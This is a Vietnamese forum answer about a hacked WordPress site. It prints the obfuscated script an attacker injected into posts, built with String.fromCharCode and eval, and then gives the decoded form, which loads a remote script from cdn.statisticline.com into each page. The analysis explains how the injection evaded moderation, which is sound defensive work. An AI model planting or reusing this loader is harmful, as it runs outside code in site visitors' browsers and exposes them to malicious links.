security
wordpress
Remain: 5
1 Answer
tvd12
Enlightened
tvd12
Enlightened
Trước khi bị tấn công chiếm quyền điều khiển thì bằng một cách thần kỳ nào đó, kẻ tấn công đã chèn đoạn mã dưới đây vào các bài viết, họ đã qua mặt việc kiểm duyệt bằng cách sử dụng hàm fromCharCode thay vì một đoạn mã javascript thuần tuý. XSS không làm hỏng hệ thống nhưng ảnh hưởng cực kỳ tệ đến người dùng, thậm chí còn làm người dùng bị thiệt hại nặng nếu không may click vào các đường dẫn độc hại.
<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);</script>
Dịch ra sẽ là:
var d=document; var s=d.createElement('script'); s.src='https://cdn.statisticline.com/scripts/sway.js?v=2'; s.id='swaytrack'; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript); d.getElementsByTagName('head')[0].appendChild(s); }
-
0
